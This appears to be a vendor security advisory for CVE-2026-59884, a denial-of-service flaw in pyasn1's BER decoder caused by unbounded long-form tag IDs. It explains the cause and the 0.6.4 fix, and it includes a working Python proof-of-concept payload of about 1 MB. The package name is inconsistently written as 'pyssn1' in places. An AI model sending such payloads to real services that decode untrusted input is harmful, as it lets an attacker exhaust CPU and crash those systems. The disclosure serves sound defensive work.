high · 7.5CVE-2026-59884Jul 21, 2026

CVE-2026-59884: pyasn1 BER Decoder Denial of Service via Unbounded Long-Form Tag IDs

Shubham Kandhare
Security Engagement Manager, SecureLayer7

pyasn1's BER/CER/DER decoder accumulates tag ID bytes in an unbounded loop, letting an attacker feed a megabyte of crafted input that consumes minutes of CPU and crashes Python 3.11+ with an…

Packagepyssn1
Ecosystempip
Affected<= 0.6.3
Fixed in0.6.4

The problem

The BER decoder in pyasn1 parses long-form tag identifiers by accumulating continuation octets in a loop with no upper bound on how many it will accept. Each continuation byte shifts the running tag integer left by 7 bits, building an arbitrarily large integer whose CPU cost grows quadratically with input size.

A ~1 MB crafted input can consume over a minute of CPU time. On Python 3.11+, the oversized integer can also trigger an unhandled ValueError from the interpreter's integer-to-string conversion limit when the decoder tries to format an error message, breaking the documented PyAsn1Error contract and potentially bypassing caller error handling.

Any application decoding untrusted BER, CER, or DER input is affected.

Proof of concept

A working proof-of-concept for CVE-2026-59884 in pyssn1, with the exact payload below.

python
# Minimal long-form tag bomb (~1 MB).
# BER long-form tag: 0x1f signals 'long form'; continuation bytes have bit 7 set.
# The final tag byte has bit 7 clear; then length + value follow.
# The patch now rejects more than 20 continuation octets.

from pyasn1.codec.ber import decoder

# 0x1f = long-form tag prefix (universal, primitive)
# 0x81 * N = N continuation octets (bit 7 set; quadratic integer growth)
# 0x01 = tag terminator byte (bit 7 clear)
# 0x01 0x00 = length 1, value 0x00

N = 1_000_000  # ~1 MB input; swap for 21 to cross the 20-octet patch limit
malicious = b'\x1f' + b'\x81' * N + b'\x01' + b'\x01\x00'

try:
    decoder.decode(malicious)
except Exception as e:
    print(type(e).__name__, e)  # PyAsn1Error on >=0.6.4, CPU hang or ValueError on <=0.6.3

In BER, any tag value >= 31 uses long form: the first tag byte is 0x1f and subsequent bytes encode the tag ID in base-128 with bit 7 as the continuation flag. Before 0.6.4, the decoder's parsing loop had no length check, so it would shift-accumulate bytes into a Python int indefinitely.

Python's arbitrary-precision integers make each left-shift 7 bits more expensive than the last, producing O(N^2) CPU cost for N continuation bytes.

The patch adds a MAX_TAG_ID_OCTETS = 20 constant (matching the OID arc limit added in 0.6.2) and raises PyAsn1Error immediately if the loop exceeds that count. It also hardens Tag and TagSet repr() against Python 3.11+'s sys.int_info.str_digits_limit, which prevented unhandled ValueError on error paths.

CWE-400 (Uncontrolled Resource Consumption).

The fix

Upgrade pyasn1 to 0.6.4. The release caps long-form tag IDs at 20 continuation octets and rejects oversized tags with PyAsn1Error. If you cannot upgrade immediately, cap the byte length of untrusted input before passing it to decode().

Reported by mikeappsec.

References: [1][2][3][4][5]

Related research